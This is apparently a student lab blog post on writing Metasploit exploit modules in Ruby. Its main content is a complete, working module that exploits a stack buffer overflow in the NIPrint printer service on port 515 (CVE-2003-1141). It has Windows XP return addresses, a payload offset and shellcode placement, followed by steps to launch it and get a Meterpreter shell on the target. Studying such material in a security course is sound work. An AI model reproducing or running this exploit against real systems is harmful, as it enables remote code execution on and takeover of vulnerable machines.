Exploit writing for Metasploit in ruby

So today, I’m going to explain how exploits can be written as a metasploit module.

Metasploit modules are written in ruby. Even if you don’t know a lot about ruby, you should still be able to write a metasploit exploit module based on this discussion and the referencing some existing exploits available in metasploit.

Metasploit exploit module structure

A typical metasploit exploit module consists of the following components:

header and some dependencies

• Some comments about the exploit module
• require ‘msf/core’

class definition

includes

“def” definitions :

• initialize
• check (optional)
• exploit

You can put comments in your metasploit module by using the # character.  That’s all we need to know for

now, let’s look at the steps to build a metasploit exploit module.

----------------------------------------------------------------------------------------

##

# $Id: newniprint.rb 00001 2011-02-23 20:45:00Z Malkiat $

##

##

# This exploit is created by Malkiat Singh for Week 7 Lab in course info-6012 Hacking & Exploits

# This file is created to exploit the NIPrint running on remote machine

##

            #started with some introduction to this module

require 'msf/core'         #this line is required for the core functionality

class Metasploit3 < Msf::Exploit::Remote      #inherits remote exploits properties

            include Msf::Exploit::Remote::Tcp    

# NIPrint listens on TCP, so we include remote tcp in module

           

            def initialize(info = {})

                        super(update_info(info,

                                    'Name'           =>'Modified NIPrint Exploit', 

#name shown for the exploit

                                    'Description'    =>%q{It performs a exploit of stack buffer overflow in NIPrint  service running on remote machine},

                                    'Author'         =>['Malkiat Singh'],     

#who wrote this module

                                    'License'        =>'Alone',                                 

#licensed to whom

                                    'Version'        =>'$Revision: 00001 $',           

#any revision number for this module

                                    'References'     =>[

                                                ['CVE', '2003-1141'],                                                 

                                                ['BID', '8968'],    
                                                        #further references to this exploit

                                     ],

                                    'Privileged'     => false,

                                    'Payload'        =>

                                                {

                                                            'Space'    => 500,

                                                            'BadChars' => "\x00\x0a",     

#characters breaking shell code                                 

                                                },

                                    'Platform'       => 'win',

                                    'Targets'        =>[

                                                 ['Windows XP SP0', { 'Ret' => 0x77D5B99F }],
                                                            #window sp0 return address

                                                 ['Windows XP SP3', { 'Ret' => 0x7C9D30E3 }],
                                                            #window sp3 return address

                                                ],

                                    'DefaultTarget' => 0,

#show the target to attack by default

                                    'DisclosureDate' => 'Feb 23 2011'))

                        register_options(

                                    [

                                                Opt::RPORT(515)

#default port for remote niprint set to 515

                                    ], self.class )

            end

            def exploit

                        connect            #make connection

                        req = rand_text_alphanumeric(8192) 

#generate data to send

                        req[  0, 2] = "\xeb\x33"

                        req[ 49, 4] = [target.ret].pack('V')

#putting return address to 49 position calculated from pattern_offset.rb and  discussed in previous blog

                        req[ 53, payload.encoded.length ] = payload.encoded

#shell-code after return address

                        print_status("Trying target #{target.name}...")

                        sock.put(req)                #send payload

                        handler                        #give handle to payload

                        disconnect      

            end

end

Following few screenshots show the procedure to run this exploit module:

First, find the written module using search command. This module should be placed inside ‘framework/msf3/modules/exploit’ directory. Run the metasploit and find the module.

Use the module and set options:

Set the option and run the exploit:

A session will be created and meterpreter shell is available to target the remote machine. There are number of commands to execute which you can see using help command.